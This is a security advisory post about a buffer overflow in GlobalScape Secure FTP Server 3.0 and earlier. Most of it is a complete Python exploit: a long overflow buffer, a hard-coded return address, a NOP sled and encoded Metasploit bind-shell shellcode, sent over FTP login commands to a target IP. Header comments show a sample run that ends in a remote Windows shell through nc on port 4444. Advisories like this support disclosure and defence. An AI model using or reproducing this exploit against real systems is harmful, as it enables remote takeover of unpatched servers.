[NT] GlobalScape Secure FTP Server Arbitrary Command Overflow ( Exploit)

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  GlobalScape Secure FTP Server Arbitrary Command Overflow ( Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.globalscape.com/> GlobalScape Secure FTP Server - 
"GlobalSCAPE's secure file transfer servers address the needs of today's 
organizations by providing enterprise level security, reliability and 
automation using industry standard protocols (FTP, SFTP, FTPS, SSH, and 
HTTP/S). Choose the file transfer server that best fits your needs."

GlobalScape Secure FTP Server's FTP command handling is vulnerable to 
buffer overflow, exploiting this vulnerability allows malicious attacked 
to gain full control over the system.

DETAILS

Vulnerable Systems:
 * GlobalScape Secure FTP Server version 3.0 and prior

#!/usr/bin/python
###############################################
# GlobalScape Secure FTP Server Buffer Overflow
# Coded by [email protected]
# http://www.see-security.com
# http://www.hackingdefined.com/exploits/Globalscape30.pdf
###############################################
# EIP Overwrite
# root@[muts]# ./globalscape-3.0-ftp.py
#
# [+] Evil GlobalFTP 3.0 Secure Server Exploit
# [+] Coded by mati [at] see-security [dot] com
# [+] 220 GlobalSCAPE Secure FTP Server (v. 3.0) * UNREGISTERED COPY *
#
# [+] Sending Username
# [+] Sending Password
# [+] Sending evil buffer
# [+] Connect to port 4444 on victim Machine!
#
# root@[muts]# nc -v 192.168.1.153 4444
# [192.168.1.153] 4444 (?) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
#
# C:\WINNT\system32>

import socket
import struct
import time

# win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum
# http://metasploit.com */

sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
sc +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
sc +="\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
sc +="\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
sc +="\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
sc +="\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
sc +="\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
sc +="\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
sc +="\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
sc +="\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
sc +="\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
sc +="\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
sc +="\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
sc +="\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
sc +="\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
sc +="\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
sc +="\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
sc +="\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
sc +="\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
sc +="\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
sc +="\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
sc +="\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"
sc +="\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
sc +="\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
sc +="\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
sc +="\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
sc +="\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
sc +="\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
sc +="\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
sc +="\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
sc +="\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
sc +="\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
sc +="\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
sc +="\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
sc +="\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
sc +="\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
sc +="\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
sc +="\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
sc +="\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"
sc +="\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
sc +="\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
sc +="\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a"

buffer = '\x41'*2043+ struct.pack("<L",0x7C4FEDBB)+'\x90'*36+sc
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\n[+] Evil GlobalFTP 3.0 Secure Server Exploit"
print "[+] Coded by muts"
connect=s.connect(('192.168.1.153',21))
d=s.recv(1024)
print "[+] " +d
print "[+] Sending Username"
time.sleep(1)
s.send('USER muts\r\n')
s.recv(1024)
print "[+] Sending Password"
time.sleep(1)
s.send('PASS muts\r\n')
s.recv(1024)
print "[+] Sending evil buffer"
time.sleep(1)
s.send(buffer+'r\n')
print "[+] Connect to port 4444 on victim Machine!\n"
except:
print "Can't connect to ftp"


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> mati.
 <http://www.securiteam.com/windowsntfocus/5KP0C20CAC.html> GlobalSCAPE 
Secure FTP Server Buffer Overflow (Parameter Handling)



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